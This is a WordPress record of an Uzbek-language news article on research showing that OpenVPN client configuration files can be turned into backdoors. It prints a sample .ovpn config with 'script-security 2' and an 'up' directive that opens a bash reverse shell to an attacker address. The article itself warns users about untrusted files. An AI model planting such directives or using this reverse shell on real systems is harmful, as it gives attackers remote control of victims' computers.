{"id":64472,"date":"2018-06-22T13:10:43","date_gmt":"2018-06-22T08:10:43","guid":{"rendered":"https:\/\/uzsoft.uz\/openvpn-mijozining-sozlash-fayllaridan-orqa-eshiklar-backdoors-ornatish-uchun-foydalanish-mumkin\/"},"modified":"2018-06-22T13:10:43","modified_gmt":"2018-06-22T08:10:43","slug":"openvpn-mijozining-sozlash-fayllaridan-orqa-eshiklar-backdoors-ornatish-uchun-foydalanish-mumkin","status":"publish","type":"post","link":"https:\/\/uzsoft.uz\/uz\/openvpn-mijozining-sozlash-fayllaridan-orqa-eshiklar-backdoors-ornatish-uchun-foydalanish-mumkin\/","title":{"rendered":"OpenVPN mijozining sozlash fayllaridan orqa eshiklar (backdoors) o\u2018rnatish uchun foydalanish mumkin."},"content":{"rendered":"<p><img decoding=\"async\" class=\"aligncenter\" src=\"\/wp-content\/uploads\/2018\/06\/df32980b6fb9469bdaacf6f984d79508.png\" alt=\"OpenVPN mijozining sozlash fayllaridan orqa eshiklar (backdoors) o\u2018rnatish uchun foydalanish mumkin.\"><\/p>\n<p class=\"preview\">\n\t\t\t<em>Hujumchi bor-yo\u2018g\u2018i bir necha qator kod qo\u2018shish orqali xavfsiz konfiguratsiya faylini zararli faylga aylantirishi mumkin.<\/p>\n<p><\/em><br \/>Kiberxavfsizlik bo\u2018yicha mutaxassislar ishonchsiz manbalardan kontent yuklab olish xavflari haqida qayta-qayta ogohlantirib kelishadi, chunki bunday fayllarning ko\u2018pchiligi zararli kod, keraksiz reklama dasturlari yoki kompyuterda zararli harakatlarni amalga oshiruvchi skriptlarni o\u2018z ichiga olishi mumkin. Tadqiqotchi Jeykob Beyns (Jacob Baines) oddiy OpenVPN mijoz konfiguratsiya fayli (.ovpn) yordamida VPN ulanishi o\u2018rnatilgandan so\u2018ng kompyuterda buyruqlarni qanday bajarish mumkinligini namoyish etdi.<\/p>\n<p>Beynsning ta\u2019kidlashicha, hujumchilar xavfsiz konfiguratsiya faylini zararli faylga aylantirish uchun atigi bir necha qator kod qo\u2018shishlari kifoya qiladi. Tadqiqotchi keltirgan misolda konfiguratsiya fayli quyidagicha ko\u2018rinishga ega:\n <\/p>\n<p> remote 192.168.1.245 ifconfig 10.200.0.2 10.200.0.1 dev tun<\/p>\n<p>Agar hujumchi biror buyruqni bajarishi kerak bo\u2018lsa, u `script-security 2` qatorini (bu OpenVPN-ga foydalanuvchi tomonidan belgilangan skriptlarni bajarishga ruxsat beradi) hamda ulanish o\u2018rnatilgandan so\u2018ng bajariladigan buyruqni o\u2018z ichiga olgan `up` direktivasini qo\u2018shishi mumkin.<\/p>\n<p>remote 192.168.1.245 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up \u201c\/bin\/bash -c \u2018\/bin\/bash -i &gt;\/dev\/tcp\/192.168.1.218\/8181 0&lt;&#038;1 2&gt;&#038;1&#038;\u2019\u201d<\/p>\n<p>Bu hujumchiga OpenVPN konfiguratsiya fayli ishlayotgan kompyuterda masofadan turib buyruqlarni bajarish imkonini beradi.<\/p>\n<p>Mutaxassisning ta\u02bckidlashicha, ushbu usuldan PowerShell skripti yordamida Windows asosidagi kompyuterlarga hujum qilishda ham foydalanish mumkin. Hujum usuli haqida batafsil ma\u02bclumot bu yerda keltirilgan.<\/p>\n<p>Garchi Beyns (Baines) o\u2018zi tasvirlagan usulning amalda qo\u2018llanilgan holatlariga hali duch kelmagan bo\u2018lsa-da, u foydalanuvchilarni ishonchsiz .ovpn fayllariga nisbatan ehtiyotkor bo\u2018lishga yoki bunday hujumlar xavfini kamaytiruvchi OpenVPN mijoz dasturlaridan (masalan, Viscosity) foydalanishga chaqirdi.<\/p>\n<p>OpenVPN \u2014 bu kompyuterlar o\u2018rtasida shifrlangan &laquo;nuqtadan-nuqtaga&raquo; (point-to-point) yoki &laquo;server-mijoz&raquo; (server-client) tunnellarini yaratish uchun qo\u2018llaniladigan virtual xususiy tarmoq (VPN) texnologiyasining ochiq kodli dasturiy ta\u02bcminotidir. U NAT va xavfsizlik devorlari (firewall) ortida joylashgan kompyuterlar o\u2018rtasida, ularning sozlamalarini o\u2018zgartirish talab etilmagan holda, ulanish o\u2018rnatish imkonini beradi.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hujumchi bor-yo\u2018g\u2018i bir necha qator kod qo\u2018shish orqali xavfsiz konfiguratsiya faylini zararli faylga aylantirishi mumkin. Kiberxavfsizlik bo\u2018yicha mutaxassislar ishonchsiz manbalardan kontent yuklab olish xavflari haqida qayta-qayta ogohlantirib kelishadi, chunki bunday fayllarning ko\u2018pchiligi zararli kod, keraksiz reklama dasturlari yoki kompyuterda zararli harakatlarni amalga oshiruvchi skriptlarni o\u2018z ichiga olishi mumkin. Tadqiqotchi Jeykob Beyns (Jacob Baines) oddiy OpenVPN [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":51048,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_yoast_wpseo_meta-robots-noindex":"","_yoast_wpseo_meta-robots-nofollow":"","_yoast_wpseo_canonical":"","_yoast_wpseo_opengraph-title":"","_yoast_wpseo_opengraph-description":"","_yoast_wpseo_opengraph-image":"","_yoast_wpseo_opengraph-image-id":"","_yoast_wpseo_twitter-title":"","_yoast_wpseo_twitter-description":"","_yoast_wpseo_twitter-image":"","_yoast_wpseo_schema_page_type":"","_yoast_wpseo_schema_article_type":"","footnotes":""},"categories":[52855],"tags":[],"class_list":["post-64472","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-yangiliklar"],"featured_image_src":{"landsacpe":["https:\/\/uzsoft.uz\/wp-content\/uploads\/2018\/06\/df32980b6fb9469bdaacf6f984d79508.png",527,329,false],"list":["https:\/\/uzsoft.uz\/wp-content\/uploads\/2018\/06\/df32980b6fb9469bdaacf6f984d79508.png",463,289,false],"medium":["https:\/\/uzsoft.uz\/wp-content\/uploads\/2018\/06\/df32980b6fb9469bdaacf6f984d79508-300x187.png",300,187,true],"full":["https:\/\/uzsoft.uz\/wp-content\/uploads\/2018\/06\/df32980b6fb9469bdaacf6f984d79508.png",527,329,false]},"yoast_head":"<!-- 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